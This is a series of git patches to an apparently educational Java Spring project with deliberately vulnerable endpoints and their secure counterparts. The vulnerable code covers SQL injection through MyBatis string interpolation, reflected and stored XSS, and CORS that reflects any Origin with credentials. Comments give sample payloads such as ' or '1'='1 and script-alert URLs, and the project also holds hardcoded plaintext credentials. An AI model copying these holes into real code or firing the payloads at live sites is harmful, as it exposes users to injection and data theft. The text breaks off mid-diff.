From 59a72efaf04fc4ea603ef0b910bd4c6f9f3dd3c3 Mon Sep 17 00:00:00 2001
From: Anemone95 <x565178035@126.com>
Date: Tue, 15 Oct 2019 15:07:46 +0800
Subject: [PATCH 01/38] 19/10/15 add more xss&sql vuln code

---
 .../java/org/joychou/controller/SQLI.java     | 47 ++++++++++---
 src/main/java/org/joychou/controller/XSS.java | 67 +++++++++++++++++--
 .../java/org/joychou/mapper/UserMapper.java   |  8 +++
 src/main/resources/application.properties     |  3 +-
 src/main/resources/create_db.sql              |  9 +++
 src/main/resources/mapper/UserMapper.xml      |  5 ++
 6 files changed, 121 insertions(+), 18 deletions(-)
 create mode 100644 src/main/resources/create_db.sql

diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java
index a4344b85..5fcb8a16 100644
--- a/src/main/java/org/joychou/controller/SQLI.java
+++ b/src/main/java/org/joychou/controller/SQLI.java
@@ -4,10 +4,13 @@
 import org.joychou.mapper.UserMapper;
 import org.joychou.dao.User;
 import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.context.annotation.Configuration;
 import org.springframework.web.bind.annotation.*;
 
 import javax.servlet.http.HttpServletRequest;
 import java.sql.*;
+import java.util.List;
 
 
 /**
@@ -16,14 +19,18 @@
  * @desc    SQL Injection
  */
 
+@SuppressWarnings("Duplicates")
 @RestController
 @RequestMapping("/sqli")
 public class SQLI {
 
     private static String driver = "com.mysql.jdbc.Driver";
-    private static String url = "jdbc:mysql://localhost:3306/java_sec_code";
-    private static String user = "root";
-    private static String password = "woshishujukumima";
+    @Value("${spring.datasource.url}")
+    private String url;
+    @Value("${spring.datasource.username}")
+    private String user;
+    @Value("${spring.datasource.password}")
+    private String password;
 
     @Autowired
     private UserMapper userMapper;
@@ -36,7 +43,7 @@ public class SQLI {
      * @param username username
      */
     @RequestMapping("/jdbc/vul")
-    public static String jdbc_sqli_vul(@RequestParam("username") String username){
+    public String jdbc_sqli_vul(@RequestParam("username") String username){
         String result = "";
         try {
             Class.forName(driver);
@@ -88,7 +95,7 @@ public static String jdbc_sqli_vul(@RequestParam("username") String username){
      * @param username username
      */
     @RequestMapping("/jdbc/sec")
-    public static String jdbc_sqli_sec(@RequestParam("username") String username){
+    public String jdbc_sqli_sec(@RequestParam("username") String username){
 
         String result = "";
         try {
@@ -134,6 +141,28 @@ public static String jdbc_sqli_sec(@RequestParam("username") String username){
         return result;
     }
 
+    /**
+     * vul code
+     * http://localhost:8080/sqli/mybatis/vul01?username=joychou' or '1'='1
+     *
+     * @param username username
+     */
+    @GetMapping("/mybatis/vul01")
+    public List<User> mybatis_vul1(@RequestParam("username") String username) {
+        return userMapper.findByUserNameVul(username);
+    }
+
+    /**
+     * vul code
+     * http://localhost:8080/sqli/mybatis/vul02?username=joychou' or '1'='1' %23
+     *
+     * @param username username
+     */
+    @GetMapping("/mybatis/vul02")
+    public List<User> mybatis_vul2(@RequestParam("username") String username) {
+        return userMapper.findByUserNameVul2(username);
+    }
+
 
     /**
      * security code
@@ -142,12 +171,10 @@ public static String jdbc_sqli_sec(@RequestParam("username") String username){
      * @param username username
      */
     @GetMapping("/mybatis/sec01")
-    public User mybatis_vul1(@RequestParam("username") String username) {
+    public User mybatis_sec1(@RequestParam("username") String username) {
         return userMapper.findByUserName(username);
     }
 
-
-
     /**
      * security code
      * http://localhost:8080/sqli/mybatis/sec02?id=1
@@ -155,7 +182,7 @@ public User mybatis_vul1(@RequestParam("username") String username) {
      * @param id id
      */
     @GetMapping("/mybatis/sec02")
-    public User mybatis_v(@RequestParam("id") Integer id) {
+    public User mybatis_sec2(@RequestParam("id") Integer id) {
         return userMapper.findById(id);
     }
 
@@ -165,7 +192,7 @@ public User mybatis_v(@RequestParam("id") Integer id) {
      * http://localhost:8080/sqli/mybatis/sec03
      **/
     @GetMapping("/mybatis/sec03")
-    public User mybatis_vul2() {
+    public User mybatis_sec3() {
         return userMapper.OrderByUsername();
     }
 
diff --git a/src/main/java/org/joychou/controller/XSS.java b/src/main/java/org/joychou/controller/XSS.java
index 70d4302d..fcd5d7f5 100644
--- a/src/main/java/org/joychou/controller/XSS.java
+++ b/src/main/java/org/joychou/controller/XSS.java
@@ -1,11 +1,22 @@
 package org.joychou.controller;
 
 import org.apache.commons.lang.StringUtils;
+import org.joychou.dao.User;
+import org.joychou.mapper.UserMapper;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.beans.factory.annotation.Value;
 import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.CookieValue;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 
+import javax.annotation.Resource;
+import javax.servlet.http.Cookie;
 import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.sql.Connection;
+import java.sql.DriverManager;
+import java.sql.Statement;
 
 /**
  * @author   JoyChou (joychou@joychou.org)
@@ -16,15 +27,59 @@
 @Controller
 @RequestMapping("/xss")
 public class XSS {
-    @RequestMapping("/print")
+
+    /**
+     * Vul Code.
+     * ReflectXSS
+     * http://localhost:8080/xss/reflect?xss=<script>alert(1)</script>
+     *
+     * @param xss unescape string
+     */
+    @RequestMapping("/reflect")
+    @ResponseBody
+    public static String reflect(String xss)
+    {
+        return xss;
+    }
+
+    /**
+     * Vul Code.
+     * StoredXSS Step1
+     * http://localhost:8080/xss/stored/store?xss=<script>alert(1)</script>
+     *
+     * @param xss unescape string
+     */
+    @RequestMapping("/stored/store")
     @ResponseBody
-    public static String ssrf_URLConnection(HttpServletRequest request)
+    public String store(String xss, HttpServletResponse response)
     {
-        String con = request.getParameter("con");
-        return con;
+        Cookie cookie = new Cookie("xss", xss);
+        response.addCookie(cookie);
+        return "Set param into cookie";
+    }
 
-        // fix code
-        // return encode(con);
+    /**
+     * Vul Code.
+     * StoredXSS Step2
+     * http://localhost:8080/xss/stored/show
+     *
+     * @param xss unescape string
+     */
+    @RequestMapping("/stored/show")
+    @ResponseBody
+    public String show(@CookieValue("xss") String xss)
+    {
+        return xss;
+    }
+    /**
+     * safe Code.
+     * http://localhost:8080/xss/safe
+     *
+     */
+    @RequestMapping("/safe")
+    @ResponseBody
+    public static String safe(String xss){
+        return encode(xss);
     }
 
     public static String encode(String origin) {
diff --git a/src/main/java/org/joychou/mapper/UserMapper.java b/src/main/java/org/joychou/mapper/UserMapper.java
index 36c2f734..962f465d 100644
--- a/src/main/java/org/joychou/mapper/UserMapper.java
+++ b/src/main/java/org/joychou/mapper/UserMapper.java
@@ -5,6 +5,8 @@
 import org.apache.ibatis.annotations.Select;
 import org.joychou.dao.User;
 
+import java.util.List;
+
 @Mapper
 public interface UserMapper {
 
@@ -15,7 +17,13 @@ public interface UserMapper {
     @Select("select * from users where username = #{username}")
     User findByUserName(@Param("username") String username);
 
+    @Select("select * from users where username = '${username}'")
+    List<User> findByUserNameVul(@Param("username") String username);
+
+    List<User> findByUserNameVul2(String username);
+
     User findById(Integer id);
 
     User OrderByUsername();
+
 }
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index 25ad5e97..d144baa5 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -1,11 +1,10 @@
 
-spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?AllowPublicKeyRetrieval=true&useSSL=false
+spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?AllowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC
 spring.datasource.username=root
 spring.datasource.password=woshishujukumima
 spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
 mybatis.mapper-locations=classpath:mapper/*.xml
 
-
 # Spring Boot Actuator Vulnerable Config
 management.security.enabled=false
 # logging.config=classpath:logback-online.xml
diff --git a/src/main/resources/create_db.sql b/src/main/resources/create_db.sql
new file mode 100644
index 00000000..350b24f1
--- /dev/null
+++ b/src/main/resources/create_db.sql
@@ -0,0 +1,9 @@
+USE `java_sec_code`;
+CREATE TABLE IF NOT EXISTS `users`(
+   `id` INT UNSIGNED AUTO_INCREMENT,
+   `username` VARCHAR(255) NOT NULL,
+   `password` VARCHAR(255) NOT NULL,
+   PRIMARY KEY (`id`)
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+INSERT INTO `users` VALUES (1, 'admin', 'admin123');
+INSERT INTO `users` VALUES (2, 'joychou', 'joychou123');
diff --git a/src/main/resources/mapper/UserMapper.xml b/src/main/resources/mapper/UserMapper.xml
index dd88f424..df4344e6 100644
--- a/src/main/resources/mapper/UserMapper.xml
+++ b/src/main/resources/mapper/UserMapper.xml
@@ -13,10 +13,15 @@
 	    <!--select * from users where username = #{username}-->
     <!--</select>-->
 
+    <select id="findByUserNameVul2" parameterType="String" resultMap="User">
+        select * from users where username like '%${_parameter}%'
+    </select>
+
     <select id="findById" resultMap="User">
         select * from users where id = #{id}
     </select>
 
+
     <select id="OrderByUsername" resultMap="User">
         select * from users order by id asc limit 1
     </select>

From da5ea84b45b040a6301378dfc73ba87d0a592cae Mon Sep 17 00:00:00 2001
From: Anemone95 <x565178035@126.com>
Date: Tue, 15 Oct 2019 15:10:26 +0800
Subject: [PATCH 02/38] 19/10/15 rm unuseful code

---
 src/main/java/org/joychou/controller/SQLI.java | 2 --
 1 file changed, 2 deletions(-)

diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java
index 5fcb8a16..9275593c 100644
--- a/src/main/java/org/joychou/controller/SQLI.java
+++ b/src/main/java/org/joychou/controller/SQLI.java
@@ -5,10 +5,8 @@
 import org.joychou.dao.User;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.beans.factory.annotation.Value;
-import org.springframework.context.annotation.Configuration;
 import org.springframework.web.bind.annotation.*;
 
-import javax.servlet.http.HttpServletRequest;
 import java.sql.*;
 import java.util.List;
 

From 98212169c7425ca4acb1e742258887f552f73849 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Sat, 2 Nov 2019 11:01:53 +0800
Subject: [PATCH 03/38] add xxe return back filecontent

---
 .../java/org/joychou/controller/Cookies.java  | 81 +++++++++++++++++++
 .../joychou/controller/jsonp/JSONPAdvice.java |  4 +-
 src/main/java/org/joychou/util/WebUtils.java  |  6 ++
 3 files changed, 90 insertions(+), 1 deletion(-)
 create mode 100644 src/main/java/org/joychou/controller/Cookies.java

diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java
new file mode 100644
index 00000000..5a32b191
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Cookies.java
@@ -0,0 +1,81 @@
+package org.joychou.controller;
+
+import org.springframework.web.bind.annotation.CookieValue;
+import org.springframework.web.bind.annotation.RequestMapping;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import org.joychou.util.WebUtils;
+import org.springframework.web.bind.annotation.RestController;
+import static org.springframework.web.util.WebUtils.getCookie;
+
+@RestController
+@RequestMapping("/cookie")
+public class Cookies {
+
+    private static String NICK = "nick";
+
+    @RequestMapping(value = "/vuln01")
+    private String vuln01(HttpServletRequest req) {
+        String nick = WebUtils.getCookieValueByName(req, NICK); // key code
+        return "Cookie nick: " + nick;
+    }
+
+
+    @RequestMapping(value = "/vuln02")
+    private String vuln02(HttpServletRequest req) {
+        String nick = null;
+        Cookie[] cookie = req.getCookies();
+
+        if (cookie != null) {
+            nick = getCookie(req, NICK).getValue();  // key code
+        }
+
+        return "Cookie nick: " + nick;
+    }
+
+
+    @RequestMapping(value = "/vuln03")
+    private String vuln03(HttpServletRequest req) {
+        String nick = null;
+        Cookie cookies[] = req.getCookies();
+        if (cookies != null) {
+            for (Cookie cookie : cookies) {
+                // key code. Equals can also be equalsIgnoreCase.
+                if (NICK.equals(cookie.getName())) {
+                    nick =  cookie.getValue();
+                }
+            }
+        }
+        return "Cookie nick: " + nick;
+    }
+
+
+    @RequestMapping(value = "/vuln04")
+    private String vuln04(HttpServletRequest req) {
+        String nick = null;
+        Cookie cookies[] = req.getCookies();
+        if (cookies != null) {
+            for (Cookie cookie : cookies) {
+                if (cookie.getName().equalsIgnoreCase(NICK)) {  // key code
+                    nick =  cookie.getValue();
+                }
+            }
+        }
+        return "Cookie nick: " + nick;
+    }
+
+
+
+    @RequestMapping(value = "/vuln05")
+    private String vuln05(@CookieValue("nick") String nick) {
+        return "Cookie nick: " + nick;
+    }
+
+
+    @RequestMapping(value = "/vuln06")
+    private String vuln06(@CookieValue(value = "nick") String nick) {
+        return "Cookie nick: " + nick;
+    }
+
+}
diff --git a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java
index f6c591f6..5463a5a5 100644
--- a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java
+++ b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java
@@ -4,7 +4,9 @@
 import org.springframework.web.bind.annotation.ControllerAdvice;
 import org.springframework.web.servlet.mvc.method.annotation.AbstractJsonpResponseBodyAdvice;
 
-
+// AbstractJsonpResponseBodyAdvice will be removed as of Spring Framework 5.1, use CORS instead.
+// Since Spring Framework 4.1
+// Springboot 2.1.0 RELEASE use spring framework 5.1.2
 @ControllerAdvice
 public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice {
 
diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java
index 21cdcd53..685340c6 100644
--- a/src/main/java/org/joychou/util/WebUtils.java
+++ b/src/main/java/org/joychou/util/WebUtils.java
@@ -1,5 +1,6 @@
 package org.joychou.util;
 
+import javax.servlet.http.Cookie;
 import javax.servlet.http.HttpServletRequest;
 import java.io.IOException;
 import java.io.InputStream;
@@ -17,4 +18,9 @@ public static String convertStreamToString(java.io.InputStream is) {
         java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
         return s.hasNext() ? s.next() : "";
     }
+
+    public static String getCookieValueByName(HttpServletRequest request, String cookieName) {
+        Cookie cookie = org.springframework.web.util.WebUtils.getCookie(request, cookieName);
+        return cookie == null ? null : cookie.getValue();
+    }
 }

From 22f0ecda9a220173a738e73ed55a748f6ad7e7b6 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Mon, 9 Dec 2019 22:56:39 +0800
Subject: [PATCH 04/38] add cors security code

---
 java-sec-code.iml                             |  4 +-
 pom.xml                                       |  2 +-
 .../java/org/joychou/config/CorsConfig.java   | 29 +++++++++++++
 .../java/org/joychou/config/CorsConfig2.java  | 28 +++++++++++++
 .../java/org/joychou/controller/CORS.java     | 41 ++++++++++++++++---
 .../org/joychou/filter/SecCorsFilter.java     | 36 ++++++++++++++++
 .../joychou/security/WebSecurityConfig.java   | 28 +++++++++++++
 7 files changed, 159 insertions(+), 9 deletions(-)
 create mode 100644 src/main/java/org/joychou/config/CorsConfig.java
 create mode 100644 src/main/java/org/joychou/config/CorsConfig2.java
 create mode 100644 src/main/java/org/joychou/filter/SecCorsFilter.java

diff --git a/java-sec-code.iml b/java-sec-code.iml
index 0140638a..5a12be26 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -181,8 +181,8 @@
     <orderEntry type="library" name="Maven: xmlpull:xmlpull:1.1.3.1" level="project" />
     <orderEntry type="library" name="Maven: xpp3:xpp3_min:1.1.4c" level="project" />
     <orderEntry type="library" name="Maven: org.apache.poi:poi:3.10-FINAL" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.poi:poi-ooxml:3.10-FINAL" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.poi:poi-ooxml-schemas:3.10-FINAL" level="project" />
+    <orderEntry type="library" name="Maven: org.apache.poi:poi-ooxml:3.9" level="project" />
+    <orderEntry type="library" name="Maven: org.apache.poi:poi-ooxml-schemas:3.9" level="project" />
     <orderEntry type="library" name="Maven: org.apache.xmlbeans:xmlbeans:2.3.0" level="project" />
     <orderEntry type="library" name="Maven: dom4j:dom4j:1.6.1" level="project" />
     <orderEntry type="library" name="Maven: com.monitorjbl:xlsx-streamer:2.0.0" level="project" />
diff --git a/pom.xml b/pom.xml
index 65c1d5bf..dd14d9ed 100644
--- a/pom.xml
+++ b/pom.xml
@@ -206,7 +206,7 @@
         <dependency>
             <groupId>org.apache.poi</groupId>
             <artifactId>poi-ooxml</artifactId>
-            <version>3.10-FINAL</version>
+            <version>3.9</version> <!-- 3.10-FINAL -->
         </dependency>
 
         <dependency>
diff --git a/src/main/java/org/joychou/config/CorsConfig.java b/src/main/java/org/joychou/config/CorsConfig.java
new file mode 100644
index 00000000..8125e518
--- /dev/null
+++ b/src/main/java/org/joychou/config/CorsConfig.java
@@ -0,0 +1,29 @@
+package org.joychou.config;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.web.servlet.config.annotation.CorsRegistry;
+import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
+import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;
+
+
+@Configuration
+public class CorsConfig
+{
+    @Bean
+    public WebMvcConfigurer corsConfigurer()
+    {
+        return new WebMvcConfigurerAdapter() {
+            @Override
+            public void addCorsMappings(CorsRegistry registry) {
+                // 设置cors origin白名单。区分http和https，并且默认不会拦截同域请求。
+                String[] allowOrigins = {"http://test.joychou.org", "https://test.joychou.org"};
+
+                registry.addMapping("/cors/sec/webMvcConfigurer")
+                        .allowedOrigins(allowOrigins)
+                        .allowedMethods("GET", "POST")
+                        .allowCredentials(true);
+            }
+        };
+    }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/config/CorsConfig2.java b/src/main/java/org/joychou/config/CorsConfig2.java
new file mode 100644
index 00000000..97b9b59e
--- /dev/null
+++ b/src/main/java/org/joychou/config/CorsConfig2.java
@@ -0,0 +1,28 @@
+//package org.joychou.config;
+//
+//import org.springframework.boot.web.servlet.FilterRegistrationBean;
+//import org.springframework.context.annotation.Bean;
+//import org.springframework.context.annotation.Configuration;
+//import org.springframework.web.cors.CorsConfiguration;
+//import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
+//import org.springframework.web.filter.CorsFilter;
+//
+//@Configuration
+//public class CorsConfig2 {
+//
+//    @Bean
+//    public FilterRegistrationBean corsFilter() {
+//        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
+//        CorsConfiguration config = new CorsConfiguration();
+//        config.setAllowCredentials(true);
+//        config.addAllowedOrigin("http://test.joychou.org");
+//        config.addAllowedOrigin("https://test.joychou.org");
+//        config.addAllowedHeader("*");
+//        config.addAllowedMethod("GET");
+//        config.addAllowedMethod("POST");
+//        source.registerCorsConfiguration("/cors/getCsrfToken/sec_03", config);
+//        FilterRegistrationBean bean = new FilterRegistrationBean(new CorsFilter(source));
+//        bean.setOrder(0);
+//        return bean;
+//    }
+//}
diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/CORS.java
index 35d2a178..ec8c581c 100644
--- a/src/main/java/org/joychou/controller/CORS.java
+++ b/src/main/java/org/joychou/controller/CORS.java
@@ -1,6 +1,7 @@
 package org.joychou.controller;
 
 import org.joychou.security.SecurityUtil;
+import org.springframework.security.web.csrf.CsrfToken;
 import org.springframework.web.bind.annotation.CrossOrigin;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.joychou.controller.jsonp.JSONP;
@@ -22,31 +23,59 @@ public class CORS {
     protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
     protected static String[] urlwhitelist = {"joychou.com", "joychou.me"};
 
-    @RequestMapping("/vuls1")
+    @RequestMapping("/vuln/origin")
     private static String vuls1(HttpServletRequest request, HttpServletResponse response) {
-        // 获取Header中的Origin
         String origin = request.getHeader("origin");
         response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的
         response.setHeader("Access-Control-Allow-Credentials", "true");  // cookie
         return info;
     }
 
-    @RequestMapping("/vuls2")
+    @RequestMapping("/vuln/setHeader")
     private static String vuls2(HttpServletResponse response) {
-        // 不建议设置为*
         // 后端设置Access-Control-Allow-Origin为*的情况下，跨域的时候前端如果设置withCredentials为true会异常
         response.setHeader("Access-Control-Allow-Origin", "*");
         return info;
     }
 
+
     @CrossOrigin("*")
-    @RequestMapping("/vuls3")
+    @RequestMapping("/vuln/crossOrigin")
     private static String vuls3(HttpServletResponse response) {
         return info;
     }
 
 
-    @RequestMapping("/sec")
+    /**
+     * http://localhost:8080/cors/sec/webMvcConfigurer
+     * https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/webMvcConfigurer.java
+     */
+    @RequestMapping("/sec/webMvcConfigurer")
+    public CsrfToken getCsrfToken_01(CsrfToken token) {
+        return token;
+    }
+
+
+    /**
+     * https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java
+     */
+    @RequestMapping("/sec/httpCors")
+    public CsrfToken getCsrfToken_02(CsrfToken token) {
+        return token;
+    }
+
+
+    /**
+     * https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/SecCorsFilter.java
+     */
+    @RequestMapping("/sec/corsFitler")
+    public CsrfToken getCsrfToken_03(CsrfToken token) {
+        return token;
+    }
+
+
+    // http://localhost:8080/cors/sec/checkOrigin
+    @RequestMapping("/sec/checkOrigin")
     public String seccode(HttpServletRequest request, HttpServletResponse response) {
         String origin = request.getHeader("Origin");
 
diff --git a/src/main/java/org/joychou/filter/SecCorsFilter.java b/src/main/java/org/joychou/filter/SecCorsFilter.java
new file mode 100644
index 00000000..67493cb0
--- /dev/null
+++ b/src/main/java/org/joychou/filter/SecCorsFilter.java
@@ -0,0 +1,36 @@
+package org.joychou.filter;
+
+import org.springframework.core.Ordered;
+import org.springframework.core.annotation.Order;
+import org.springframework.stereotype.Component;
+import org.springframework.web.cors.CorsConfiguration;
+import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
+import org.springframework.web.filter.CorsFilter;
+
+/**
+ * 由于CorsFilter和spring security冲突，所以改为下面的代码。
+ * CorsFilter可以参考config/CorsConfig2的代码。
+ */
+@Component
+@Order(Ordered.HIGHEST_PRECEDENCE)
+public class SecCorsFilter extends CorsFilter {
+
+    public SecCorsFilter() {
+        super(configurationSource());
+    }
+
+    private static UrlBasedCorsConfigurationSource configurationSource() {
+        CorsConfiguration config = new CorsConfiguration();
+        config.setAllowCredentials(true);
+        config.addAllowedOrigin("http://test.joychou.org");
+        config.addAllowedOrigin("https://test.joychou.org");
+        config.addAllowedHeader("*");
+        config.addAllowedMethod("GET");
+        config.addAllowedMethod("POST");
+
+        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
+        source.registerCorsConfiguration("/cors/sec/corsFitler", config);
+
+        return source;
+    }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java
index 127115f3..684e5513 100644
--- a/src/main/java/org/joychou/security/WebSecurityConfig.java
+++ b/src/main/java/org/joychou/security/WebSecurityConfig.java
@@ -2,6 +2,7 @@
 
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.beans.factory.annotation.Value;
+import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
 import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
 import org.springframework.security.config.annotation.web.builders.HttpSecurity;
@@ -9,7 +10,12 @@
 import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
 import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
 import org.springframework.security.web.util.matcher.RequestMatcher;
+import org.springframework.web.cors.CorsConfiguration;
+import org.springframework.web.cors.CorsConfigurationSource;
+import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
+
 import javax.servlet.http.HttpServletRequest;
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashSet;
 
@@ -58,6 +64,8 @@ protected void configure(HttpSecurity http) throws Exception {
         http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler());
         // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
 
+        http.cors();
+
         // spring security login settings
         http.authorizeRequests()
                 .antMatchers("/css/**", "/js/**").permitAll() // permit static resources
@@ -69,6 +77,26 @@ protected void configure(HttpSecurity http) throws Exception {
                 .rememberMe(); // tomcat默认JSESSION会话有效时间为30分钟，所以30分钟不操作会话将过期。为了解决这一问题，引入rememberMe功能。
     }
 
+    /**
+     * Global cors configure
+     */
+    @Bean
+    CorsConfigurationSource corsConfigurationSource()
+    {
+        // Set cors origin white list
+        ArrayList<String> allowOrigins = new ArrayList<String>();
+        allowOrigins.add("http://test.joychou.org");
+        allowOrigins.add("https://test.joychou.org"); // 区分http和https，并且默认不会拦截同域请求。
+
+        CorsConfiguration configuration = new CorsConfiguration();
+        configuration.setAllowedOrigins(allowOrigins);
+        configuration.setAllowCredentials(true);
+        configuration.setAllowedMethods(Arrays.asList("GET", "POST"));
+        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
+        source.registerCorsConfiguration("/cors/sec/httpCors", configuration); // ant style
+        return source;
+    }
+
     @Autowired
     public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
         auth

From 6ae05278b38328cead4e293894f4efab6713cc11 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Thu, 19 Dec 2019 19:50:00 +0800
Subject: [PATCH 05/38] add filter cors fix code

---
 .../java/org/joychou/config/CorsConfig2.java  |  1 +
 .../controller/{CORS.java => Cors.java}       | 24 ++++----
 .../org/joychou/controller/URLRedirect.java   |  2 +-
 .../org/joychou/controller/jsonp/JSONP.java   |  4 +-
 .../{security => filter}/HttpFilter.java      |  9 ++-
 .../java/org/joychou/filter/OriginFilter.java | 59 +++++++++++++++++++
 .../org/joychou/security/SecurityUtil.java    | 18 +++---
 src/main/resources/templates/index.html       |  1 +
 8 files changed, 91 insertions(+), 27 deletions(-)
 rename src/main/java/org/joychou/controller/{CORS.java => Cors.java} (84%)
 rename src/main/java/org/joychou/{security => filter}/HttpFilter.java (88%)
 create mode 100644 src/main/java/org/joychou/filter/OriginFilter.java

diff --git a/src/main/java/org/joychou/config/CorsConfig2.java b/src/main/java/org/joychou/config/CorsConfig2.java
index 97b9b59e..382f6ba7 100644
--- a/src/main/java/org/joychou/config/CorsConfig2.java
+++ b/src/main/java/org/joychou/config/CorsConfig2.java
@@ -7,6 +7,7 @@
 //import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
 //import org.springframework.web.filter.CorsFilter;
 //
+//// https://spring.io/blog/2015/06/08/cors-support-in-spring-framework
 //@Configuration
 //public class CorsConfig2 {
 //
diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/Cors.java
similarity index 84%
rename from src/main/java/org/joychou/controller/CORS.java
rename to src/main/java/org/joychou/controller/Cors.java
index ec8c581c..db526a72 100644
--- a/src/main/java/org/joychou/controller/CORS.java
+++ b/src/main/java/org/joychou/controller/Cors.java
@@ -18,7 +18,7 @@
 
 @RestController
 @RequestMapping("/cors")
-public class CORS {
+public class Cors {
 
     protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
     protected static String[] urlwhitelist = {"joychou.com", "joychou.me"};
@@ -46,34 +46,34 @@ private static String vuls3(HttpServletResponse response) {
     }
 
 
-    /**
-     * http://localhost:8080/cors/sec/webMvcConfigurer
-     * https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/webMvcConfigurer.java
-     */
+    // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/webMvcConfigurer.java
     @RequestMapping("/sec/webMvcConfigurer")
     public CsrfToken getCsrfToken_01(CsrfToken token) {
         return token;
     }
 
 
-    /**
-     * https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java
-     */
+    // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java
     @RequestMapping("/sec/httpCors")
     public CsrfToken getCsrfToken_02(CsrfToken token) {
         return token;
     }
 
 
-    /**
-     * https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/SecCorsFilter.java
-     */
+    // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/SecCorsFilter.java
     @RequestMapping("/sec/corsFitler")
     public CsrfToken getCsrfToken_03(CsrfToken token) {
         return token;
     }
 
 
+    // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/filter/CorsFilter.java
+    @RequestMapping("/sec/Filter")
+    public CsrfToken getCsrfToken_04(CsrfToken token) {
+        return token;
+    }
+
+
     // http://localhost:8080/cors/sec/checkOrigin
     @RequestMapping("/sec/checkOrigin")
     public String seccode(HttpServletRequest request, HttpServletResponse response) {
@@ -81,7 +81,7 @@ public String seccode(HttpServletRequest request, HttpServletResponse response)
 
         // 如果origin不为空并且origin不在白名单内，认定为不安全。
         // 如果origin为空，表示是同域过来的请求或者浏览器直接发起的请求。
-        if ( origin != null && !SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) ) {
+        if ( origin != null && SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) == null ) {
             return "Origin is not safe.";
         }
         response.setHeader("Access-Control-Allow-Origin", origin);
diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java
index 26fc1652..dfd220f2 100644
--- a/src/main/java/org/joychou/controller/URLRedirect.java
